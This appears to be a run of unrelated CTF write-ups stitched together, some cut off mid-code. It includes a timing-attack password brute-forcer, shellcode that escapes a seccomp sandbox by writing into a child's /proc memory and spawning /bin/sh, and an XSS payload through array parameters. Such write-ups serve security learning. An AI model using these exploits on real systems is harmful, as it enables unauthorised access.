```pmap = "ccb0e77bbcc0ee3afc7381d07a6984e248e3d759116bf1b3860b89c5bf536565f0ef6abf0878c42c99353c6cdce0c899c83bef29970bb38bcc9dfc051b67b5ad15c108d045452643456df4efbb4906ca736bbce9509705e597d3b5472bad258baeaf41e5d814f483e6f0c0980aaca195f5b5d353f097ef9dd43b3b0be717071f6cf11e4492b25707b7368f53c9ea109062df1d07b37153611a2b78bfc1b5c63bea2b4417a084ca8fb73b382fe87384ad44eff8ad8c1fea7fcdc5b349050395a744b59169f8956ce587534e4792be80d0801dadf13de3df3561f1e70d71c5024f205ea28bc461320fa8be7e29d16d2ad955470783ea2b79954f3da311ddc11d89"junk = "8301af49adc10f8be19effa126143b68606bc734c40a1b6d8cc947766532745fe225723274620ab9816ec617e3c5667d"prim = "0100010000000000010000000100000001000100010000000100000001000100010000000100000001000100010000000100010001000100010000000100000001000100010001000100000001000100010000000100000001000100010000000100010001000100010000000100010001000100010000000100000001000100010001000100000001000100010000000100000001000100010001000100000001000100010000000100010001000100010000000100010001000100010001000100000001000100010000000100000001000100010000000100000001000100010000000100010001000100010001000100010001000100010001000100000001000100010000000100010001000100010000000100000001000100010001000100010001000100010000000100000001000100010001000100000001000100010001000100000001000100010000000100010001000100010000000100010001000100010000000100000001000100010001000100010001000100010000000100000001000100010000000100000001000100010001000100010001000100010001000100000001000100010001000100010001000100010001000100000001000100010000000100000001000100010000000100010001000100010000000100000001000100010001000100010001000100010000000100010001000100"
pmap = [int(pmap[i:i+2], 16) for i in range(0, len(pmap), 2)]junk = [int(junk[i:i+2], 16) for i in range(0, len(junk), 2)]prim = [int(prim[i:i+2], 16) for i in range(0, len(prim), 4)]
real = [[prim[pmap[i*16+j]] for j in range(16)] for i in range(16)]
for i in range(16): print(" ".join(" " if real[i][j] == 0 else "0" for j in range(16)))
ms = [(-1, 0), (0, 1), (1, 0), (0, -1)]ls = ["u", "r", "d", "l"]
def dfs(cur, end, pre, st): for i in range(4): move = ms[i] newl = (cur[0]+move[0], cur[1]+move[1]) if newl == end: return ls[i] if 0 <= newl[0] <= 15 and 0 <= newl[1] <= 15 and real[newl[0]][newl[1]] == 0 and newl != pre: trail = dfs(newl, end, cur, st) if trail != "": return ls[i]+trail return ""
s = (1, 1)out = ""
for i in range(9): loc = ((256-junk[i])//16, (256-junk[i])%16) print(loc) out += dfs(s, loc, (-1, -1), "") s = locprint(out)print(len(out))```
The moves are:
```ddrrrrrrddrrrrrrrrddllrruullllllllddddllllllddddrrrrrrrruurrddrrddrrlluulluullddlllllllluuuurrrrrruuuuuulllllldduurrrrrrddddddllllllddddrrrrrruuddlllllluuuuuurruuddllddrrrrrruuuurrrrrruurrllddllllllddddllllllddddrrddllrruulluuuurrrrrruullrruurruuuurrrrrr```
Before I could even write code to assemble this into base-4 myself, my teammate had already inserted it into the program and gotten the flag, `CTF{n0w_ev3n_pr1n7f_1s_7ur1ng_c0mpl3te}`
Thanks to the organizers for one of the most fun challenges I have attempted so far! |
## How to Get Started - 0 points - 64 solves
>Welcome to pwnyOS!>>To get your credentials to access pwnyOS, please visit: https://uiuc.tf/pwnyos>>More information about pwnyOS, and how to connect to a VNC server can be found here: https://github.com/sigpwny/pwnyOS-2020-docs
We see that this challenge tells us to “get started”. (whatever *that* means...) Most teams disregard it as a challenge not worth doing because it's so hard with its extremely high point value of zero, and it’s low solve percentage, with only 64 solves... Anyway, in this challenge, they give us two links. We click on the first one and it leads us to this site:
We see it tells us a bunch of credentials. They also gave us this password. We know that it can’t be plaintext, considering how many points this challenge is worth. It must be encrypted or encoded using a cipher! Maybe it could even be a flag!
The password that was on the page read “d8f1328d”, and it’s made up of entirely letters and numbers. That’s a clue for base64 encoding! We run the command “echo d8f1328d | base64 -d” on our computer, and we get the text “wo” and an unprintable character. Too bad.
Next, we try using a Vigenere cipher. We guess that the key would be “pwnyOS”, so with our supreme guessing skills we decode the cipher. I wrote this python script to decode for us:
flag = “” for c in range(len("d8f1328d")): flag += chr(ord("d8f1328d"[c]) + ord("pwnyOSpwnyOS"[c % 6])) print(flag)
However, despite our efforts, we get some jumbled mess resembling “Ô¯Ôª
¨Û”.
Well, that’s not it either.
We continue to scan the page and we find a button that says Go Back. We try to click on it, but it does nothing. Then we use the clever trick of opening the link in a new tab, but we come upon a blank page.
We suspect that there is some sort of flag hidden in this blank page.
We open up the inspect element menu, but still, to our disappointment, we find nothing.
We then realize that there is still another website we forgot to check! We quickly go onto the other link and it leads us to a github page.
We see a file called Getting_Started.pdf. Since this is the name of the challenge is “How to Get Started”, we click on the link, but again, we find nothing of use. Just some weird documentation. HOW IS THIS HAPPENING THAT EVERY PROMISING LINK LEADS US ON A WILD GOOSE CHASE!?!
So we go back to the original link to look for the flag, but before we can start searching, the words “go back” remind me of something… The INTERNET ARCHIVE’S WAYBACK MACHINE!!! That had to be it! I could already see our score rising by ZERO points and beating DiceGang.
We go onto the Wayback machine internet archive and we put the URL in the search bar and we find… nothing.
The challenge starts to feel like a very, *very* cruel joke meant to distract us from the real problems and make us waste our time. The *zero points* which seemed so glorious earlier seem like nothing.
Trying to find something to take out our anger on, we find this grey sliding bar on the corner of the github. We start sliding it around watching it go up and down. Then when the gray sliding thing reaches the bottom, we see something pretty suspicious.
There, in brackets, we see a hint for the flag! It says “{read_the_docs_carefully!}!”
Given this advice, we start reading the doc from top to bottom VERY carefully. All we find is a bunch of stuff about pwnyOS. Then we realize that TWO things are highlighted in gray highlights. One of them was the hint we found, the other one says “kernel.chal.uiuc.tf:PORT”
We try wrapping it with uiuctf{} and entering the flag in, but it says we are incorrect. We try wrapping it with UIUCTF{} as we have seen in some other challenges, but we are still incorrect.
Again we have that feeling that the *zero points* are actually *nothing*. Then we see something before the hint. There's an "uiuctf" before it!
We take the "uiuctf" part along with the hint and we submit it. CTFd says our flag is correct and we see the team [sqrt(-1) + 1] gain a whopping *0 points*, rising from 31st place to the outstanding rank of *31st place*!
Flag: *uiuctf{read_the_docs_carefully!}* |
# Serial
Author: [roerohan](https://github.com/roerohan) and [thebongy](https://github.com/thebongy)
# Requirements
- Node.js
# Source
```javascriptvar http = require('http');var url = require('url');var parse = require('querystring');var fs = require('fs');var index = fs.readFileSync('index.html');var flag = fs.readFileSync('flag.html');var err = fs.readFileSync('error.html');
http.createServer(function (req, res) { var q = url.parse(req.url, true) if (q.path == "/"){ res.writeHead(200,{"Content-Type": "text/html"}); res.write(index); //write a response to the client res.end(); //end the response } else if (q.path == "/enter"){ if (req.method === 'POST') { var body = ''; req.on('data', chunk=> {body += chunk.toString()}); req.on('end', () => { console.log(body); body = parse.parse(body); console.log(body); var a=parseInt(body.serial1),b=parseInt(body.serial2),c=parseInt(body.serial3); console.log("Serial:",a,b,c) if ( (a>0 && a < 1000000) & (b>0 && b < 1000000) & (c>0 && c < 1000000) & a*a*a + b*b*b == c*c*c){ res.writeHead(200,{"Content-Type": "text/html"}); res.write(flag); res.end(); } else{ res.writeHead(200,{"Content-Type": "text/html"}); res.write(err); res.end(); } } ) }; } else{ res.writeHead(404,{"Content-Type": "text/html"}); res.write("<h1>404 Not found</h1>"); res.end(); } }).listen(8081);```
# Exploitation
The interesting part in this program is this line:
```javascriptif ((a>0 && a < 1000000) & (b>0 && b < 1000000) & (c>0 && c < 1000000) & a*a*a + b*b*b == c*c*c) {...}```
Since the `==` operator has higher precedence than `&`, `a*a*a + b*b*b == c*c*c` will be evaluated first. This part of the expression will undergo bitwise `&` with the other parts. Now, `a^n + b^n == c^n` for all `n > 2` is mathematically impossible, as stated by Fermat's theorem, so it would seem impossible to solve this challenge. But, if you notice, `999999 ^ 3` is way past the range JS can accomodate. If you try `999999^3 + 1 == 999999^3`, you will get true in JS! Now you know what to do.
```> 999999*999999*999999 + 1 == 999999*999999*999999true```
Pass `serial1 = 9999999, serial2 = 1 and serial 3 = 999999`. You successfully get the flag.
The flag is:
```cybrics{CYB3R_M47H_15_57R4Ng3}``` |
A timing attack on an insecure password check, followed by some interrupt handling race condition exploitation.
Login bruteforce:
```#!/usr/bin/python3import reimport statisticsimport sysfrom pwn import *from multiprocessing import Pool
context.log_level = 'error'
def f(job): c, prefix = job password = prefix + c times = [] found = False for i in range(5): conn = remote('avr.2020.ctfcompetition.com', 1337) conn.send(b'\nagent\n' + password.encode('ascii') + b'\n')
data = conn.recvuntil([b'Wrong user/password', b'Access granted'], timeout=10) if (b'Access granted') in data: print('Password found!') print(password) found = True break u1 = int(re.findall(b'Uptime: ([\d]+)us', data)[0]) data = conn.recvuntil([b'Login:'], timeout=10) conn.close() u2 = int(re.findall(b'Uptime: ([\d]+)us', data)[0]) times += [u2 - u1]
return c, times, found
def bf():
password_prefix = '' next_mtime = None p = Pool(20) while True: times = {}
jobs = [(c, password_prefix) for c in string.ascii_letters + string.digits + string.punctuation] for c, ts, found in p.map(f, jobs): if found: return times[c] = ts
mtimes = {k: max(times[k]) for k in times.keys()} mmed = statistics.median(mtimes.values()) next_c = max([(mtimes[k], k) for k in mtimes.keys() if mtimes[k] > mmed])[1] next_mtime = mtimes[next_c] print(next_c, next_mtime, mmed) password_prefix += next_c
bf()```
Second password check bypass:```#!/bin/bashwhile true; do payload=$(printf '1%.0s' $(seq 1 167)) payload2=$(printf '2\n%.0s' $(seq 1 150)) # read secret
flag=$(echo -ne "\nagent\n$payload\nagent\ndoNOTl4unch_missi1es!\n$payload2\n4\n" | nc avr.2020.ctfcompetition.com 1337)
if [[ ! -z "$(echo $flag | grep CTF\{)" ]]; then printf "$flag" | grep CTF\{ break fidone```
Full writeup at http://ratmirkarabut.com/articles/ctf-writeup-google-ctf-quals-2020-avr/ |
[Original Writeup](https://github.com/luker983/google-ctf-2020/tree/master/reversing/beginner) (https://github.com/luker983/google-ctf-2020/tree/master/reversing/beginner) |
[Original Writeup](https://github.com/luker983/google-ctf-2020/tree/master/reversing/android) (https://github.com/luker983/google-ctf-2020/tree/master/reversing/android) |
We have a conversation between two devices:- `192.168.137.1` - streaming server- `192.168.137.220` - smart clock powered by ESP32
The conversation uses HTTP proto
The first request from ESP32 to `\task1` returns the message that will be shown on the screen.
The second request: `/task1/frame_count` - returns number 6877 - number of videoframes.
And the third and all next requests `/task1/frame/X` (where X is number in sequence [100, 6876]) is an actual stream, compressed by zlib (magic bytes 0x78, 0x9c). At some moment of the video we can see the flag during ~300 frames. |
it was too easy,after opening the `logs.pcapng` file i have exported a pdf file using wireshark through `File > export object > http > binod.exe`
which was a pdf file
after opening it with `sublimetext`
i noticed that there is an javascript object .. to know more read this [pdf file structure](https://en.wikipedia.org/wiki/PDF)and this [reversing pdf malicious code](https://www.sentinelone.com/blog/malicious-pdfs-revealing-techniques-behind-attacks/)
```3 0 obj<</Type /Action/S /JavaScript/JS <616C65727428227265736574636F6E7B62316E30645F31245F6330306C5F31246E375F68333F7D22293B0A>>>endobj```
so i decoded the js as hex value and i got the flag [here with cyber chef](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=NjE2QzY1NzI3NDI4MjI3MjY1NzM2NTc0NjM2RjZFN0I2MjMxNkUzMDY0NUYzMTI0NUY2MzMwMzA2QzVGMzEyNDZFMzc1RjY4MzMzRjdEMjIyOTNCMEE)
# Flag`resetcon{b1n0d_1$_c00l_1$n7_h3?}` |
# Beginner
This is was a very simple reverse engineering challenge (the name of the challenge obviously gives it away that it should be easy). The objective of this challenge is to figure out the password, which is also the flag.
To start off, we are given a file a.out that is an executable. It asks for a flag from STDIN, and returns FAILURE when typing the wrong flag (we will get to angr_bruteforce_binary.py later).
With reverse engineering challenges, we like to disassemble it in Ghidra and then if necessary, run it through GDB. When throwing it in Ghidra, we noticed that symbols were still intact; thus, we could jump directly to main.
Almost immediately, we notice that there is a string compare looking for 16 characters: ```CiVar1 = strncmp(local_38,(char *)&local_28,0x10)```
There is a tool that we developed called angr_bruteforce_binary.py that can crack this. It solves basic reverse engineering problems where we need to give input either through STDIN or as a parameter. You can find it [on our GitHub tools repository](https://github.com/Ragnar-Security/ctf-tools/tree/master/Reverse%20Engineering/bruteforce_ascii). We specifically modified it for this binary:
```py#!/usr/bin/env python3# Author: WittsEnd2# Contributors:
import angrimport claripy
def main(): base_addr = 0x00100000 # define the offset p = angr.Project("./a.out", main_opts={'base_addr':base_addr}) # set the binary we are working with and the offset arg_chars = [claripy.BVS('flag-{%d' % i, 8) for i in range(0x10)] # what to look for (and the length) arg = claripy.Concat(*arg_chars + [claripy.BVV(b'\n')]) st = p.factory.entry_state(args=["./a.out"], add_options=angr.options.unicorn, STDIN=arg) # What to actually run and ensure that we are working with STDIN. for k in arg_chars: st.solver.add(k > 0x20) st.solver.add(k < 0x7f)
sm = p.factory.simulation_manager(st) sm.run() for i in sm.deadended:
print(i.solver.eval(arg, cast_to=bytes))
if __name__ == "__main__": main()```After running the script, we are able to retrieve the flag and confirm it is correct.
If you have questions for me, reach out to us on twitter at [@RagnarSecurity](https://twitter.com/RagnarSecurity). |
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If you open the image, and scan it with qr code scanner you’ll findRESTCON{29a9df89e2858e5a25c83b6a00352d19}And when you paste it to the submit, it will fail.Check again the Note, it said FLAG IS IN PLAIN TEXT, use chiper identifier to check what is the type of this ciphertext https://www.boxentriq.com/code-breaking/cipher-identifier, you’ll find out it is a MD5 Hash, and then you could search text matching the MD5 Hash using https://www.md5online.org/md5-decrypt.html , and eventually you’ll find out the text is mirr0r. Then the flag isRESTCON{mirr0r} |
DJANGO is a python web-framework.
In the chall we are given a findme.zip, extracting it gives us a find me dir, which is actually a server that can be hosted, with bunch of folders and python file.
The challenge was suppposed to be solved by hosting the server onto the local machine and look for the source code reviewBut after trying the conventional method, It sort of came to my mind if I have the flag on the server I just need to look for a fileon the directories itslef:
So looking for something I found "index.html"
PATH ----> /findme/core/templates/core/index.html
SOURCE CODE OF index.html================================================================================================
<html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>HOME</title></head><body> {% ifequal user.username "sudo" %} <h1>intr0_t0_djang0</h1> {% endifequal %} <center><h1>Welcome To Python Web World !!</h1> Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of Web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source.
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of Web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source.
<button>Learn More</button> If you got stuck look around for help.... <help class=""> </help> <h3>RESTCON 2020 is on Aw3s0m3</h3>
</center>
<script> console.log("creating a super user account in django might help you..")</script>
================================================================================================
inside the <body> tag there is some unusual text
{% ifequal user.username "sudo" %} <h1>intr0_t0_djang0</h1> {% endifequal %}
intr0_t0_djang0 if the flag we need.
Flag format : RESTCON{<- flag -<}
**********************************************RESTCON{intr0_t0_djang0}******************************************************************************************** |
**How to work enc function:**
1. Encode string to base64
2. Create a new string from the encoded one by applying xor to each character:
`new [i] = base64_encoded [i] ^ base64_encoded [i + 1]`
3. Convert the result to hex
**How to work decode:**
1. Convert the hex string to bytes (`binascii.unhexlify`)
2. Know first char 1. If you don't know it just repeat algorithm for each base64 alphabet's chars
3. `base64_encoded [i + 1] = base64_encoded [i] ^ new [i]`
solution script: [solution.py](https://github.com/wetox-team/writeup/blob/master/hacktivitycon/tyrannosaurus_rex/solution.py)
flag is `flag{tyrannosauras_xor_in_reverse}` |
[Original Writeup](https://github.com/luker983/google-ctf-2020/tree/master/web/pasteurize) (https://github.com/luker983/google-ctf-2020/tree/master/web/pasteurize) |
We are actually given the code which decrypts the ciphertext and prints the flag. However, the code is extremely slow since the cipher involves perfect numbers and the code is trying to find them first. We can manually supply a list of perfect numbers in order to fully decrypt the ciphertext and get the flag.
Check out the original writeup for a detailed explanation. |
# Google CTF 2020 - `writeonly`
_tl;dr shellcode to bypass seccomp by injecting shellcode into child process to read the flag_
> This sandbox executes any shellcode you send. But thanks to seccomp, you won't be able to read /home/user/flag.
For this challenge, we are given the binary, the C source code, and a Makefile.
## Analyzing the binary
Since we were given source code, I didn't actually have to look at the binary in IDA much. The first thing I looked at was the seccomp rules being applied:
```c 21 void setup_seccomp() { 22 scmp_filter_ctx ctx; 23 ctx = seccomp_init(SCMP_ACT_KILL); 24 int ret = 0; 25 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); 26 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); 27 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0); 28 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat), 0); 29 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0); 30 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lstat), 0); 31 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0); 32 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0); 33 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); 34 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(writev), 0); 35 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0); 36 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sched_yield), 0); 37 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup), 0); 38 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup2), 0); 39 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0); 40 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fork), 0); 41 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(vfork), 0); 42 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 0); 43 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); 44 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(kill), 0); 45 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chdir), 0); 46 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchdir), 0); 47 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(gettimeofday), 0); 48 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getuid), 0); 49 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getgid), 0); 50 ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); 51 ret |= seccomp_load(ctx); 52 if (ret) { 53 exit(1); 54 } 55 }```
If the seccomp rules aren't properly written, there's a chance you could use a 32 bit syscall (> 0x40000000) to bypass the filters ([see this writeup from RedRocket](http://blog.redrocket.club/2019/04/11/midnightsunctf-quals-2019-gissa2/)). Unfortunately, the filters check to ensure the syscall number is < 0x40000000, which we can see using [`seccomp-tools`](https://github.com/david942j/seccomp-tools):
```$ seccomp-tools dump ./chal[DEBUG] child pid: 624286shellcode length? 1reading 1 bytes of shellcode. a line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x1e 0xc000003e if (A != ARCH_X86_64) goto 0032 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x1b 0xffffffff if (A != 0xffffffff) goto 0032 0005: 0x15 0x19 0x00 0x00000001 if (A == write) goto 0031 0006: 0x15 0x18 0x00 0x00000002 if (A == open) goto 0031 0007: 0x15 0x17 0x00 0x00000003 if (A == close) goto 0031 0008: 0x15 0x16 0x00 0x00000004 if (A == stat) goto 0031 0009: 0x15 0x15 0x00 0x00000005 if (A == fstat) goto 0031 0010: 0x15 0x14 0x00 0x00000006 if (A == lstat) goto 0031 0011: 0x15 0x13 0x00 0x00000008 if (A == lseek) goto 0031 0012: 0x15 0x12 0x00 0x0000000a if (A == mprotect) goto 0031 0013: 0x15 0x11 0x00 0x0000000c if (A == brk) goto 0031 0014: 0x15 0x10 0x00 0x00000014 if (A == writev) goto 0031 0015: 0x15 0x0f 0x00 0x00000015 if (A == access) goto 0031 0016: 0x15 0x0e 0x00 0x00000018 if (A == sched_yield) goto 0031 0017: 0x15 0x0d 0x00 0x00000020 if (A == dup) goto 0031 0018: 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0031 0019: 0x15 0x0b 0x00 0x00000038 if (A == clone) goto 0031 0020: 0x15 0x0a 0x00 0x00000039 if (A == fork) goto 0031 0021: 0x15 0x09 0x00 0x0000003a if (A == vfork) goto 0031 0022: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0031 0023: 0x15 0x07 0x00 0x0000003c if (A == exit) goto 0031 0024: 0x15 0x06 0x00 0x0000003e if (A == kill) goto 0031 0025: 0x15 0x05 0x00 0x00000050 if (A == chdir) goto 0031 0026: 0x15 0x04 0x00 0x00000051 if (A == fchdir) goto 0031 0027: 0x15 0x03 0x00 0x00000060 if (A == gettimeofday) goto 0031 0028: 0x15 0x02 0x00 0x00000066 if (A == getuid) goto 0031 0029: 0x15 0x01 0x00 0x00000068 if (A == getgid) goto 0031 0030: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0032 0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0032: 0x06 0x00 0x00 0x00000000 return KILL```
At this point I know there wasn't going to be a trick to fully bypass the filters, so I needed to find a way to work with them to read the flag. We can make `open` and `write` syscalls, but we don't have `read` or `mmap`, so we can't read the flag off the file descriptor. I spent a few hours combing the man pages to try and find a trick with one of the other allowed syscalls but came up empty handed.
One other interesting thing this binary does is fork a child process before applying the seccomp filters, so the filters aren't applied to the child process:
```c113 void check_flag() {114 while (1) {115 char buf[4] = "";116 int fd = check(open("/home/user/flag", O_RDONLY), "open(flag)");117 if (read(fd, buf, sizeof(buf)) != sizeof(buf)) {118 err(1, "read(flag)");119 }120 close(fd);121 if (memcmp(buf, "CTF{", sizeof(buf)) != 0) {122 errx(1, "flag doesn't start with CTF{");123 }124 sleep(1);125 }126 }127 128 int main(int argc, char *argv[]) {129 pid_t pid = check(fork(), "fork");130 if (!pid) {131 while (1) {132 check_flag();133 }134 return 0;135 }136 137 printf("[DEBUG] child pid: %d\n", pid);138 void_fn sc = read_shellcode();139 setup_seccomp();140 sc();141 142 return 0;143 }```
The `check_flag()` function at L113 is run in the child process (because `pid` will be 0 for the child proc at L130), but all the function does is read the first 4 characters of the flag.
At this point I was stumped, until my teammate suggested something _brilliant_:
> Only idea I've got so far for writeonly is to open /proc/${child_pid}/mem and overwrite its stack to make it print out the flag, or something like that.
This lead me to two realizations:
* I didn't know that a parent process had permissions to write to the proc/mem file for a child process. * I _also_ didn't know that the memory permissions (r/w/x on each page) don't apply when accessing via proc/mem (I figured this out later, after wasting a bunch of time on less-than-ideal exploit paths)
## Writing the exploit
I initially tried to do this a few different ways:
* Write shellcode to an unused chunk of .bss, apply execute permissions with `mprotect`, and hijack the saved `rip` value from the `sleep(1)` call on L124 (this was a very dumb idea)* Then, I tried to overwrite a function in .text that isn't being used (since it's already marked as executable memory), and hijack the saved `rip` again (less dumb but still not very smart)* Finally, I overwrote the beginning of the `while (1)` loop on L114 to take advantage of the existing control flow for shellcode execution (good enough; detailed below)
Another syscall that was crucial for writing this exploit is `lseek`. In case you are unfamiliar, `lseek` allows you to move the cursor for a file to an arbitrary position. In this case, since we are accessing the proc/mem file (which is a special file used by the kernel to map the entire virtual memory space for a process), we need to use `lseek` to control which starting address to write to.
With this newfound knowledge in hand, I wrote an exploit that did the following:
1. `open` syscall to access the child proc/mem file2. `lseek` syscall to set the pointer to the location in .text I wanted to overwrite3. `write` syscall to write my shellcode to the desired location4. Cross my fingers and hope for a flag
## Step 1: `open`
_Note: please don't take the following as advice on a good way to do this, use [`asm()` in pwntools](https://docs.pwntools.com/en/stable/asm.html) and your life will be much easier._
The goal for this first syscall is to create a file descriptor for the child proc/mem file. Unfortunately, since the PID of the child could change everytime, I needed to parse the output from the program to put in my shellcode, compile it, and then send it to open the proper file.
(It turns out that on the remote, the child PID ended up always being 2, probably due to how the Docker container was setup and the lack of other processes, so I could have just statically compiled it. But where's the fun in that?)
Here's a snippet from my exploit that dynamically compiles the shellcode:
```py 40 with open("sc/inject.S", "r") as f: 41 inject_code = f.read() 42 43 log.info(f"child pid: {pid}") 44 45 while len(pid) != 8: 46 pid += "/" 47 48 with open("sc/shellcode.S", "w") as f: 49 f.write(inject_code.format(pid=pid[::-1].encode().hex())) 50 51 os.system("cd sc && make 64") 52 53 with open("sc/shellcode.bin", "rb") as f: 54 shellcode = f.read()```
In my shellcode, I used `{}` as a format string so python could substitute the PID (L49 above) with the proper encoding to make it a string:
```asm 23 // Open the child memory file 24 // fd = open("/proc/{pid}/mem", 1) 25 xor %rdx, %rdx 26 push %rdx 27 mov $0x6d656d2f2f2f2f2f, %rdx 28 push %rdx 29 mov $0x{pid}, %rdx 30 push %rdx 31 mov $0x2f636f72702f2f2f, %rdx 32 push %rdx 33 mov %rsp, %rdi 34 xor %rsi, %rsi 35 inc %rsi 36 xor %rax, %rax 37 mov $0x2, %al 38 syscall 39 mov %rax, %r9```
The `{pid}` on L24 and L29 both got replaced by the reverse hex encoding of the PID (as a string), so that the string is properly built on the stack. An example ASCII version of that string is:
```///proc////////2/////mem```
(You can put as many slashes between directories as you want, the above is equivalent to `/proc/2/mem`. It's a great way to pad strings.)
## Step 2: `lseek`
Now that we have a file descriptor to the child's memory, we need to figure out where exactly to write to. I pulled open the binary in IDA and looked for a suitable address.
After the `sleep(1)` call returns, the program jumps back to `0x40223a`, which is the beginning of the `while (1)` loop at L113. That seems like a solid candidate to overwrite:
```asm 46 // lseek(fd, 0x40223a, 0) 47 mov %r9, %rdi 48 mov $0x40223a, %rsi // jmp dst after sleep in check_flag 49 xor %rdx, %rdx 50 xor %rax, %rax 51 mov $0x8, %al 52 syscall```
## Step 3: `write`
Now that we are positioned in the proper location to overwrite with our shellcode, we need to figure out _what_ that shellcode will be. During the CTF, I used a standard ORW (open/read/write) payload to print the flag file, since I wasn't sure how I/O would work if I tried to pop a shell in the child process. I tested this after getting the flag and it worked as it normally would, and so that's the solution I have in the `inject.S` file. The ORW shellcode is also available to look at, though.
Here is the `execve("//bin/sh", 0, 0)` shellcode I used:
```asm 7 //execve("//bin/sh", 0, 0) 8 xor %rdx, %rdx 9 xor %rsi, %rsi 10 mov $0x68732f6e69622f2f, %rdi 11 push %rsi 12 push %rdi 13 mov %rsp, %rdi 14 xor %rax, %rax 15 mov $0x3b, %al 16 syscall```
Now, I needed someway of putting the above shellcode payload into the full payload, since I was using shellcode to write shellcode into the child process. I did this by writing a quick script to generate a series of `mov` and `push` instructions to put the shellcode on the stack in the proper order (yay little endian):
```py 10 while len(shellcode) % 8 != 0: 11 shellcode += b"\x90" 12 13 for i in range(len(shellcode), 0, -8): 14 b = struct.unpack(" |
# All The Little Things (fixed version)Description```I left a little secret in a note, but it's private, private is safe.Note: TJMike? from Pasteurize is also logged into the page.https://littlethings.web.ctfcompetition.com```
The task contains 2 sites with notes: * `pasteurize.web.ctfcompetition.com` public notes, with the ability to share content to the user TJMike * `fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com` private notes
Since we can interact with the XSS bot only through `pasteurize`, the attack should start from public notes.
## PasteurizeNode.JS Express application with source code```https://pasteurize.web.ctfcompetition.com/source``````jsapp.use(bodyParser.urlencoded({extended: true}));...const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');...
app.post('/', async (req, res) => { const note = req.body.content; ... const result = await DB.add_note(note_id, note); ...app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => { const note_id = req.params.id; const note = await DB.get_note(note_id); .. const unsafe_content = note.content; const safe_content = escape_string(unsafe_content);```
The application uses `body-parser` library with the `extended` option to handle POST body.Extended option determines which library will be used to parse the urlencoded string `qs` or `querystring`.
| POST Body | extended: false | extended: true ||----------------------|---------------------------|---------------------------|| test=test | {test: 'test'} | {test: 'test'} || test[]=test | {'test[]': 'test'} | {test: ['test']} || test=test&test=test2 | {test: ['test', 'test2']} | {test: ['test', 'test2']} |
The `escape_string` function expects only a string in the input parameters, and if `content` contains an array, the processing logic is violated and the attacker can execute arbitrary JS code.
```jsconst escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');```Example```jsconsole.log('const node="%s"', escape_string('test'));
const node="test"
console.log('const node="%s"', escape_string(['test']));
const node=""test""```
HTTP Request```httpPOST / HTTP/1.1Host: pasteurize.web.ctfcompetition.comContent-Type: application/x-www-form-urlencodedContent-Length: 22
content[]=-alert(123)-```
Result```jsconst note = ""-alert(123)-"";```
But as you can see from the table above - the extended `body-parser` format is optional and the array can also be sent using several variables with the same key.
HTTP Request```httpPOST / HTTP/1.1Host: pasteurize.web.ctfcompetition.comContent-Type: application/x-www-form-urlencodedContent-Length: 22
content=-alert(123)//&content=x```
Result```jsconst note = ""-alert(123)//","x"";```
## All The Little ThingsThe application allows you to create private notes visible only to the current user.
